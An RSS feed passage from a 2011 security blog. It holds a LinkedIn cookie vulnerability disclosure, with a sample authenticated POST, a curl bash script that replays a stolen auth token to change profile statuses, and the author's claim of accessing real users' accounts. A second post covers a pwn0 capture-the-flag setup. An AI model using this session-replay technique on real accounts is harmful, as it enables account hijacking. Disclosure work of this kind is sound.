			<content:encoded><![CDATA[<h4><img style="background-image: none; border-right-width: 0px; margin: 0px 11px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="linkedin-cracked" border="0" alt="linkedin-cracked" align="left" src="http://www.wtfuzz.com/wp-content/uploads/2011/05/linkedin-cracked.png" width="99" height="99" /></h4>
<p>LinkedIn is a business-oriented social networking site. Founded in December 2002 and launched in May 2003, it is mainly used for professional networking. As of 22 March 2011, LinkedIn reports more than 100 million registered users, spanning more than 200 countries and territories worldwide.</p>
<p>There exists multiple vulnerabilities in LinkedIn in which it handles the cookies and transmits them over SSL. This vulnerability if exploited, can result in hijacking of user accounts, and/or modifying the user information without the consent of the profile owner.</p>
<p>&#160;</p>
<p><strong><font style="background-color: #000000" color="#ffffff">Executive Summary</font></strong></p>
<p><u>Name</u>: <strong>LinkedIn SSL Cookie Vulnerability (SESSION and AUTH TOKEN)</strong></p>
<p><u>Severity</u>:&#160; <strong>High</strong></p>
<p><u>Host</u>(s): <a href="https://www.linkedin.com" target="_blank"><strong>https://www.linkedin.com</strong></a> and <a href="http://www.linkedin.com" target="_blank"><strong>http://www.linkedin.com</strong></a></p>
<p><u>Author</u>/<u>Contact Person</u>: <strong><font color="#000000">Rishi Narang&#160; </font></strong>( <strong>Twitter</strong>: <a href="http://twitter.com/#!/rnarang" target="_blank">@rnarang</a> | <strong>Mail</strong>: <a href="mailto:rishi@wtfuzz.com" target="_blank">rishi[at]wtfuzz.com</a> | <strong>LinkedIn</strong>: <a href="http://in.linkedin.com/in/rishinarang" target="_blank">http://in.linkedin.com/in/rishinarang</a> )</p>
<p><em>PS: I received some comments recently through different mediums &amp; channels, so, if you need any details or clarifications please contact me through Twitter and/or Mail address as mentioned above.</em></p>
<p><strong><u></u></strong></p>
<p><strong><font style="background-color: #000000" color="#ffffff">Background Information</font></strong></p>
<p>LinkedIn can be accessed over HTTPS and HTTP connections. The sign-in page<span id="more-271"></span><strong>if accessed on HTTPS, redirects you to HTTP on successful authentication</strong>. By default the welcome page stores the following important cookies (highlighting only the SESSION and AUTH TOKEN in scope),</p>
<p><img style="background-image: none; border-right-width: 0px; margin: 0px 9px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="" border="0" alt="" src="http://www.wtfuzz.com/wp-content/uploads/2011/05/linkedin_cookies.jpg" width="1011" height="254" /></p>
<p>After successful login (over HTTPS or HTTP), the value of cookies should change, specifically, the JSESSIONID and AUTH_TOKEN. The SESSIONID remains the same no matter what or if the browser exits, the server sends a new SESSIONID. Now, lets see how <strong>leo_auth_token</strong> changes after successfully authentication and login …</p>
<p><img style="background-image: none; border-right-width: 0px; margin: 0px 9px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="linkedin_cookies1" border="0" alt="linkedin_cookies1" src="http://www.wtfuzz.com/wp-content/uploads/2011/05/linkedin_cookies1.jpg" width="1014" height="298" /></p>
<p><strong><font style="background-color: #000000" color="#ffffff">JSESSIONID</font></strong></p>
<p>Ideally this cookie is used for tracking session and thus it has an ID generated to track that session in the application and server logs. As per information available online, JSESSIONID cookie is created/sent when session is created. Session is created when your code calls <code>request.getSession()</code> or <code>request.getSession(true)</code> for the first time. If you just want get session, but not create it if it doesn&#8217;t exists, use <code>request.getSession(false)</code> &#8212; this will return you a session or <code>null</code>. In this case, new session is not created, and JSESSIONID cookie is not sent. This also means that session isn&#8217;t necessarily created on first request; you and your code is in control <em>when</em> the session is created.</p>
<p>Example: JSESSIONID=&quot;ajax:2960939797451683300&quot; . And, the syntax for this session id is –&gt; ajax:&lt;19 digit code&gt;</p>
<p><strong><font style="background-color: #000000" color="#ffffff">LEO_AUTH_TOKEN</font></strong></p>
<p>There is not much information available on this cookie in my knowledge, but I could relate some sections as following.</p>
<p>Example: leo_auth_token=&quot;LIM:<font style="background-color: #ffff00">118607520</font>:a:<font style="background-color: #00ff00">1305884679</font>:<font style="background-color: #4bacc6">b42ee51919add89581a0b49ebe1e420dbb93a468</font>&quot;<font style="background-color: #4bacc6"></font>&#160; (Only highlighted key reference available below)</p>
<ol>
<li><u>118607520</u>: This is the <strong>User ID</strong>. It can also be verified when viewing someone’s profile. It traverses in the traffic <u>unencrypted</u> and is also available in GET requests. </li>
<li><u>1305884679</u>: <strike>This is ‘perhaps’ <em>(guess analysis)</em> the user <strong>login counter</strong> (global)</strike>. I am not sure if it resets or its just progressive but, surely with every login it increments by 1. Special thanks to <strong>Julio</strong> for clarification that this is a Unix Timestamp of the time user logs in. (Refer: <a href="http://www.onlineconversion.com/unix_time.htm" target="_blank">http://www.onlineconversion.com/unix_time.htm</a>). This Unix Timestamp will also decide the expiry date of the cookie. <em>(1 year from this time which is too much for an attacker)</em> </li>
<li><u>b42ee51919add89581a0b49ebe1e420dbb93a468</u>: This is a approx. 40 character long hexadecimal string. It can be smaller or larger and is not fixed in length. I am <strong>still working</strong> if this can be decrypted or can be related/tied to some part of the session. </li>
</ol>
<p>In general these two (2) cookies are enough to verify a session, and both the cookies have to be defined in &quot;quotes&quot; and here is a sample POST request (used in <strong>LinkedIn status update</strong>) for reference,</p>
<blockquote><p><code></code></p>
<p>POST http://www.linkedin.com/share?submitPost= HTTP/1.1      <br />Content-Type: application/x-www-form-urlencoded; charset=UTF-8       <br />Cookie: leo_auth_token=&quot;LIM:118607520:a:1305884679:b42ee51919add89581a0b49ebe1e420dbb93a468&quot;;JSESSIONID=&quot;ajax:2960939797451683300&quot;</p>
<p>ajax=true&amp;postText=TEST_STATUS&amp;postVisibility=EVERYONE&amp;csrfToken=ajax:2960939797451683300</p>
</blockquote>
<p>This request results in changing the User Status on the profile page. So, what and where is the vulnerability here?</p>
<p><strong><font style="background-color: #000000" color="#ffffff">Vulnerability Information</font></strong></p>
<p>There are two (2) vulnerabilities in reference to the cookies (communication channel and session lock) as explained below,</p>
<p><strong>1. SSL cookie without secure flag set</strong></p>
<p>It means that all the cookies including the JSESSIONID and LEO_AUTH_TOKEN are available in plain text over unencrypted channel of communication. These cookies appear to contain session tokens, which may increase the risk associated with the authentication procedure. One should review the contents of the cookies to determine their function and the need for encryption.If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie&#8217;s scope.</p>
<p><u>Impact</u></p>
<p>An attacker may be able to perform an MITM attack, and thus capture these cookies from an established&#160; LinkedIn session. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form <a href="https://www.linkedin.com">https://www.linkedin.com</a> to perform the same attack.</p>
<p><u>Workaround</u></p>
<p>The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.</p>
<p><strong>2. Cookie Expiration &amp; Session Handling</strong></p>
<p>It means that the cookie for an authenticated session is available even after the session has been terminated or way beyond the date of expiry (instead compared to session logout, it is valid for 1 year). There are examples where cookies are accessible to hijack authenticated sessions. And these cookies are months old (literally). As a result, in just 15 minutes, I was successfully able to access multiple active accounts that belong to individuals from different global locations. They would have login/logged out many a times in these months but their cookie was still valid.</p>
<p>Even though the cookie expiry date is mentioned still the cookies are valid. Why does LinkedIn keeps the cookie active even if the user has &quot;logged out&quot; and closed the session? Worse, when the same has been done a hundred times!</p>
<p><u>Impact</u></p>
<p>As a result of valid cookies, an attacker can sniff the cookies from clear-text session (explained above), and then use it to authenticate its own session. He can then compromise and modify the information available at the user profile page.</p>
<p><u>Workaround</u></p>
<p>The expiry date/time should be locked with either a fixed &#8216;period&#8217;, or user&#8217;s session logout or IP etc. In <u>absence of a fixed and reasonable expiration time period</u> (1 year is not reasonable/acceptable), a cookie is active even after months <strike>and year</strike> of its authentication. Define expiration as the end of session or till the JSESSIONID is valid.</p>
<p><strong><font style="background-color: #000000" color="#ffffff">Curious case of JSESSIONID</font></strong></p>
<p>As I mentioned about the JSESSIONID above, ideally the session should be mapped with this ID, and if tampered with, should disconnect the session. At least, I would believe it to work this way! But now, even if you change the JSESSIONID to <font style="background-color: #ffffff">ajax:0000000000000000000</font> <em>(ajax followed by 19 digits)</em> the session is still valid and the server continues accepting requests with this JSESSIONID.</p>
<p>Even if it has nothing to do with session but only tracking, tinkering with SESSION id surely will dangle the tracking at the server end.</p>
<p><strong><font style="background-color: #000000" color="#ffffff">LinkedIn Status Update Bash Script</font> </strong>(<a href="http://www.wtfuzz.com/code/linkedin.sh" target="_blank">Download Here</a>)</p>
<p>Here is a small script to update the status at the LinkedIn profile page through command-line. It takes the input as &quot;LIM:XXXX&quot; cookie value and new status update.</p>
<blockquote><p><code></code></p>
<p>#!/bin/bash</p>
<p>clear      <br />echo &quot;&quot;       <br />echo &quot; ==================================================&quot;       <br />echo &quot; #&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; LinkedIN Status Update Script&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; #&quot;       <br />echo &quot; #&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; #&quot;       <br />echo &quot; #&#160;&#160;&#160;&#160;&#160; Author: Rishi Narang (rishi@wtfuzz.com)&#160;&#160; #&quot;       <br />echo &quot; #&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &#8212; WWW.WTFUZZ.COM &#8211;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; #&quot;       <br />echo &quot; #&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; #&quot;       <br />echo &quot; ==================================================&quot;       <br />echo &quot;&quot;</p>
<p>echo -en &quot; &#8211; Auth Cookie (Format &#8211; LIM:XXXX): &quot;      <br />read LIM</p>
<p>echo -en &quot; &#8211; New Status: &quot;      <br />read UPDATE</p>
<p>curl -s -b &quot;leo_auth_token=\&quot;${LIM}\&quot;;JSESSIONID=\&quot;ajax:0000000000000000000\&quot;&quot; -d\      <br />&quot;ajax=true&amp;postText=$UPDATE&amp;postVisibility=EVERYONE&amp;csrfToken=ajax%3A0000000000000000000&quot;\       <br />http://www.linkedin.com/share?submitPost= -o linKIN.tmp</p>
<p>echo &quot;&quot;      <br />OUT=`cat linKIN.tmp | grep &quot;SUCCESS&quot; | wc -l`       <br />DUP=`cat linKIN.tmp | grep &quot;DUPLICATE&quot; | wc -l`</p>
<p>if [ $OUT -eq 1 ]      <br />then       <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; echo -e &quot;MSG: Status updated successfully!\n&quot;</p>
<p>elif [ $DUP -eq 1 ]      <br />then       <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; echo -e &quot;ERROR: Duplicate Status! Please enter a new status.\n&quot;       <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; exit       <br />else       <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; echo -e &quot;ERROR: Please try again later.\n&quot;       <br />fi       <br />rm -rf linKIN.tmp       <br />echo &quot;&quot;</p>
<p>#EOD</p>
</blockquote>
<div><img style="background-image: none; border-right-width: 0px; margin: 0px 9px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="bash" border="0" alt="bash" src="http://www.wtfuzz.com/wp-content/uploads/2011/05/bash.jpg" width="856" height="212" /></div>
<div>&#160;</div>
<div>This is all from my side, and use this information responsibly till LinkedIn fixes the vulnerability!</div>
<div>&#160;</div>
<div><strong>REAL SCENERIO</strong></div>
<div>You are connected in a network at office or home and someone captures the cookies in traffic or uses <a href="http://codebutler.com/firesheep-a-week-later-idiot-shepherds" target="_blank">Firesheep</a> and boom! your account is hijacked. You as a user will not come to know that the cookie is stolen or there have been any parallel login by the attacker. And, LinkedIn doesn’t maintain any list of IP addresses (for a user to view at his account) that are being used to access your account as does the Gmail etc. </div>
<div>After some recent developments and some miscommunication, I will make it clear that the password change and then login with new password will expire the old cookie. Only the password change, will keep the old cookie alive so you need minimum 1 time login to let the old cookie expire out. Here is a working video of the vulnerability and how the change of IP address, session logout etc. doesn&#8217;t expire the cookies.</div>
<div>&#160;</div>
<p> <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/JU05kjAvHY4?hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/JU05kjAvHY4?hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
<div>&#160;</div>
<div>On some requests here is a process to show how the cookie validity maintains even after the password is changed (but before a user authenticates with new credentials)</div>
<div>&#160;</div>
<div><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/ZgNKoplI7gc?hl=en&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param> <embed src="http://www.youtube.com/v/ZgNKoplI7gc?hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></div>
<div>&#160;</div>
<div><strong>Disclaimer:</strong></div>
<div>The author is not responsible for the misuse of the information presented in this blog or anywhere on the domain <a href="http://www.wtfuzz.com">www.wtfuzz.com</a>. The ideas discussed on this site are simply ideas and the site or the owner will not be held accountable for any losses or gains that one accrues, if any way linked to the ideas on the site. Examples and methods presented on this post or anywhere on <a href="http://www.wtfuzz.com">www.wtfuzz.com</a> pages are for educational purposes only.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.wtfuzz.com/blogs/linkedin-ssl-cookie-vulnerability/feed/</wfw:commentRss>
		<slash:comments>66</slash:comments>
		</item>
		<item>
		<title>PWN0 Scripts</title>
		<link>http://www.wtfuzz.com/blogs/pwn0-scripts/</link>
		<comments>http://www.wtfuzz.com/blogs/pwn0-scripts/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 16:25:55 +0000</pubDate>
		<dc:creator>Rishi Narang</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[capture]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[flag]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[openvpn]]></category>
		<category><![CDATA[pwn]]></category>
		<category><![CDATA[pwn0]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[score]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[users]]></category>

		<guid isPermaLink="false">http://www.wtfuzz.com/blogs/pwn0-scripts/</guid>
		<description><![CDATA[PWN0 (http://pwn0.com) the hackers playground is a VPN where (almost) anything goes. You just need to sign up, connect to the VPN and start hacking. This is what the website says! I loved the domain name and felt to give it a shot. Here is how the home page looks like, Pretty intriguing! Isn&#8217;t it? [...]]]></description>
			<content:encoded><![CDATA[<p>PWN0 (<a href="http://pwn0.com" target="_blank">http://pwn0.com</a>) the hackers playground is a VPN where (almost) anything goes. You just need to sign up, connect to the VPN and start hacking. This is what the website says! I loved the domain name and felt to give it a shot. Here is how the home page looks like,</p>
<p><img style="background-image: none; border-right-width: 0px; margin: 0px 9px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="pwn0" border="0" alt="pwn0" src="http://www.wtfuzz.com/wp-content/uploads/2011/04/pwn02.png" width="887" height="220" /></p>
<p>Pretty intriguing! Isn&#8217;t it? Anyways, I read the forum (only 1 informative post till date) and regular here and there stuffs. It requires (recommends) <a href="http://openvpn.net/" target="_blank">OpenVPN</a> to connect to its servers. They have configuration files available on their website to connect pwn0 server. Once you create your register, you can browse the configuration archive <a href="https://pwn0.com/vpn0_zip.php" target="_blank">here</a> (ZIP) and <a href="https://pwn0.com/vpn0_tar.php" target="_blank">here</a> (TAR.GZ). Here is my configuration and<span id="more-247"></span>small hands-on guide on how I performed the same,</p>
<p>Downloaded and installed OpenVPN for my Ubuntu using,</p>
<blockquote><p>apt-get install openvpn</p>
</blockquote>
<p>After installing the same, I played with it a while to look for configuration options and file imports etc. I was wondering how to change the default options, and then searching for the files on it for some minutes, I figured out the configuration directory (unzip the config file downloaded from pwn0) ideally can be placed at /etc/openvpn/. So, the structure looked like,</p>
<p><img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 0px 9px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; float: left; border-top: 0px; border-right: 0px; padding-top: 0px" title="pwn_ls" border="0" alt="pwn_ls" align="left" src="http://www.wtfuzz.com/wp-content/uploads/2011/04/pwn_ls1.png" width="540" height="57" />This structure shows the 6 files supplied in the archived package from pwn0. These files contains the certificates (ca.crt, &lt;username&gt;.crt) and key file (&lt;username&gt;.key) together with 3 configuration settings’ file (pwn0.conf, pwn0.ovpn, pwn0.ovpn.udp). To start OpenVPN with the &#8216;pwn0 configuration&#8217;, issue the following command:</p>
<blockquote><p>[reboot:/etc/openvpn/config]# openvpn – – config pwn0.conf</p>
</blockquote>
<p><img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 0px 9px 9px 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="connect" border="0" alt="connect" src="http://www.wtfuzz.com/wp-content/uploads/2011/04/connect1.png" width="829" height="427" /></p>
<p>After connecting to the pwn0 server, make sure you can see the tunnel IP in your list as 10.225.0.* and can ping the fellow IP addresses. If yes! then bravo, you are done with all the configurations. Time to play some tricks now. Here are some files (bash scripts) which should be executed from the same console of VPN connection (I used linux, and so scripts are developed in BASH).</p>
<p>List of Scripts,</p>
<ol>
<li><strong>uson.sh</strong> – A script that helps you find the online users to help you plan your strategy. The script when executed creates a new file by the name &quot;uson&quot; and saves the usernames in it. [ Script Code: <a href="http://wtfuzz.com/code/uson.sh.txt" target="_blank">View</a> | <a href="http://wtfuzz.com/code/uson.sh" target="_blank">Download</a> ]</li>
<li><strong>ipon.sh</strong> – A script that finds the IP addresses of the users that are connected to the pwn0 VPN. It creates a new file by the name &quot;ipon&quot; and lists the IP addresses in it. [ Script Code: <a href="http://wtfuzz.com/code/ipon.sh.txt" target="_blank">View</a> | <a href="http://wtfuzz.com/code/ipon.sh" target="_blank">Download</a> ]</li>
<li><strong>score.sh</strong> – A script that helps you perform one kind of attack where you access the URL: <em>http://vpn.pwn0.com/score?user=&lt;username&gt;</em> where &#8216;username&#8217; is of any active online VPN user. This script does all the job automatically and takes the input as a Username File. Execute it as &quot;./score.sh&quot; [ Script Code: <a href="http://wtfuzz.com/code/score.sh.txt" target="_blank">View</a> | <a href="http://wtfuzz.com/code/score.sh" target="_blank">Download</a> ]</li>
<li>rscore.sh – The same job as score.sh but scoring as root. <em>(sorry, will update the script later.)</em></li>
</ol>
<p>I am one day old in this CTF at <a href="http://pwn0.com" target="_blank">pwn0.com</a> so, will release other parts as and when I complete the levels :). Meantime, happy hacking to all and best wishes! Feel free to comment here for any suggestions or new techniques, or improvements.</p>
<p><em>PS: All these scripts are raw and have been created in some hours. Excuse me if there are better ways, but these are just home based cooking! *Not to be tested in production environments and random inputs*</em></p>
<p>Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wtfuzz.com/blogs/pwn0-scripts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 5.291 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-05-19 11:29:48 -->

